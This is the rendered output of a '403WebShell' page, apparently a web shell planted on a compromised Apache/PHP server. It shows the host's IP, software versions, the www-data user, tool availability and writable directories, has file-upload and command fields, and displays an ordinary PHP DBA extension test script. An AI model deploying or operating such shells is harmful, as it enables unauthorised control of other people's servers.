????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.15.34.228
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/dba/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/dba/tests/dba_handler.inc
<?php

echo "database handler: $handler\n";

do {
	if (($db_file = dba_open($db_filename, 'n'.$lock_flag, $handler))!==FALSE) {
		dba_insert("key1", "Content String 1", $db_file);
		dba_insert("key2", "Content String 2", $db_file);
		dba_insert("key3", "Third Content String", $db_file);
		dba_insert("key4", "Another Content String", $db_file);
		dba_insert("key5", "The last content string", $db_file);
		if ($handler != 'cdb') {
			dba_delete("key3", $db_file);
			dba_delete("key1", $db_file);
		} else {
			dba_close($db_file);
			if (($db_file = dba_open($db_filename, 'r'.$lock_flag, $handler))===FALSE) {
				echo "Error reopening database\n";
			}
		}
		$a = dba_firstkey($db_file);
		$i=0;
		while($a) {
			$a = dba_nextkey($db_file);
			$i++;
		}
		echo $i;
		for ($i=1; $i<6; $i++) {
			echo dba_exists("key$i", $db_file) ? "Y" : "N";
		}
		echo "\n";
		echo dba_fetch("key2", $db_file)."\n";
		if ($handler != 'cdb') {
			dba_replace("key2", "Content 2 replaced", $db_file);
			echo dba_fetch("key2", $db_file)."\n";
		}
		dba_close($db_file);
	} else {
		echo "Error creating database\n";
	}
	if ($handler != 'cdb') {
		$db_writer = dba_open($db_filename, 'c'.$lock_flag, $handler);
		if (($dba_reader = @dba_open($db_filename, 'r'.$lock_flag.($lock_flag ? 't' : ''), $handler))===false) {
			echo "Read during write: not allowed\n";
		} else {
			echo "Read during write: allowed\n";
		}
		if ($db_writer!==FALSE) {
			if (dba_insert("key number 6", "The 6th value", $db_writer)) {
				echo '"key number 6" written' . "\n";
			} else {
				echo 'Failed to write "key number 6"' . "\n";
			}
			if (dba_insert("key number 6", "The 6th value inserted again would be an error", $db_writer)) {
				echo '"key number 6" written 2nd time' . "\n";
			} else {
				echo 'Failed to write "key number 6" 2nd time' . "\n";
			}
			dba_replace("key2", "Content 2 replaced 2nd time", $db_writer);
			dba_delete("key4", $db_writer);
			echo dba_fetch("key2", $db_writer)."\n";
			echo dba_fetch("key number 6", $db_writer)."\n";
			dba_close($db_writer); // when the writer is open at least db3 would fail because of buffered io.
		} else {
			die("Error reopening database\n");
		}
	}
	if (($db_file = dba_open($db_filename, 'r'.$lock_flag, $handler))!==FALSE) {
		$key = dba_firstkey($db_file);
		$res = array();
		while($key) {
			$res[$key] = dba_fetch($key, $db_file);
			$key = dba_nextkey($db_file);
		}
		ksort($res);
		var_dump($res);
		dba_close($db_file);
	} else {
		echo "Error reading database\n";
	}
	if (!empty($dba_reader)) {
		dba_close($dba_reader);
	}
	if (($db_file = dba_popen($db_filename, 'r'.($lock_flag==''?'':'-'), $handler))!==FALSE) {
		if ($handler == 'dbm') {
			dba_close($db_file);
		}
	}

	if ($lock_flag == '') {
		break;
	} else {
		echo "--NO-LOCK--\n";
		$lock_flag = '';
	}
} while(1);

?>

Youez - 2016 - github.com/yon3zu
LinuXploit